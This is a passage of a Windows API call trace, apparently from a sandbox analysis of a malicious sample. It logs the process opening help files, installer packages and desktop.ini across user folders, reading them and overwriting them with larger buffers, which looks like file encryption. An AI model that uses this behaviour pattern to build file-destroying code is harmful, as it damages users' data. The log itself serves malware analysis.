[0049.134] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.136] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.137] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x2c0f23c, dwLength=0x1c | out: lpBuffer=0x2c0f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0049.137] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0049.143] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.146] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x10e1000 [0049.146] ReadFile (in: hFile=0x170, lpBuffer=0x276b958, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2c0f278*=0x2000, lpOverlapped=0x0) returned 1 [0049.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x10e1000 [0049.149] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef30000 [0052.107] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0052.698] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0052.698] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x146 [0052.698] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0052.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.698] ReleaseMutex (hMutex=0x128) returned 1 [0052.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GRAPH.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0052.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GRAPH.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.GRAPH.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0052.698] ReadFile (in: hFile=0x1d4, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x2c0f2bc*=0x146, lpOverlapped=0x0) returned 1 [0052.699] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0052.699] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ce, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6ce, lpOverlapped=0x0) returned 1 [0052.699] CloseHandle (hObject=0x1d4) returned 1 [0052.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.682] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0053.682] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x13a [0053.682] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0053.682] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.682] ReleaseMutex (hMutex=0x128) returned 1 [0053.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OIS.14.1033.hxn", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0053.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OIS.14.1033.hxn", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.OIS.14.1033.hxn", lpUsedDefaultChar=0x0) returned 18 [0053.682] ReadFile (in: hFile=0x1ac, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x13a, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x2c0f2bc*=0x13a, lpOverlapped=0x0) returned 1 [0053.683] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0053.683] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6c2, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6c2, lpOverlapped=0x0) returned 1 [0053.683] CloseHandle (hObject=0x1ac) returned 1 [0053.683] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.008] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.009] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x15e [0054.009] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.009] ReleaseMutex (hMutex=0x128) returned 1 [0054.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_PRM.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0054.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_PRM.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO_PRM.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0054.009] ReadFile (in: hFile=0x1b0, lpBuffer=0x2635c28, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635c28*, lpNumberOfBytesRead=0x2c0f2bc*=0x15e, lpOverlapped=0x0) returned 1 [0054.010] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0054.010] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e6, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6e6, lpOverlapped=0x0) returned 1 [0054.010] CloseHandle (hObject=0x1b0) returned 1 [0054.010] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x23000 [0054.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.011] ReleaseMutex (hMutex=0x128) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0054.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7fb4c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0054.011] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.014] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x22000 [0054.014] ReadFile (in: hFile=0x1b0, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.015] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x22000 [0054.015] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.015] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0054.015] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.015] CloseHandle (hObject=0x1b0) returned 1 [0054.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.016] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.016] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x23000 [0054.016] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.016] ReleaseMutex (hMutex=0x128) returned 1 [0054.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0054.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x86.msi", cchWideChar=28, lpMultiByteStr=0x1e7fb4c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x86.msi", lpUsedDefaultChar=0x0) returned 28 [0054.017] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.018] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x22000 [0054.019] ReadFile (in: hFile=0x1b0, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.020] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x22000 [0054.020] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.020] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0054.020] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.020] CloseHandle (hObject=0x1b0) returned 1 [0054.021] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x25000 [0054.021] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.021] ReleaseMutex (hMutex=0x128) returned 1 [0054.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0054.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7fb4c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0054.022] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.024] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x24000 [0054.024] ReadFile (in: hFile=0x1b0, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.025] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x24000 [0054.026] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.026] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0054.026] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.026] CloseHandle (hObject=0x1b0) returned 1 [0054.026] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x71080 [0054.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.027] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.027] ReleaseMutex (hMutex=0x128) returned 1 [0054.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0054.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x86.exe", cchWideChar=16, lpMultiByteStr=0x1e78bcc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 16 [0054.028] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.030] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x70080 [0054.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x26146a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.032] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x70080 [0054.032] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.032] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0054.032] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.032] CloseHandle (hObject=0x1b0) returned 1 [0054.039] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0054.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x43 [0054.039] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0054.039] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.039] ReleaseMutex (hMutex=0x128) returned 1 [0054.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0054.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0054.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x1eaad68, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad68*, lpNumberOfBytesRead=0x2c0f2bc*=0x43, lpOverlapped=0x0) returned 1 [0054.041] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0054.041] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0054.041] CloseHandle (hObject=0x1b0) returned 1 [0054.041] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media 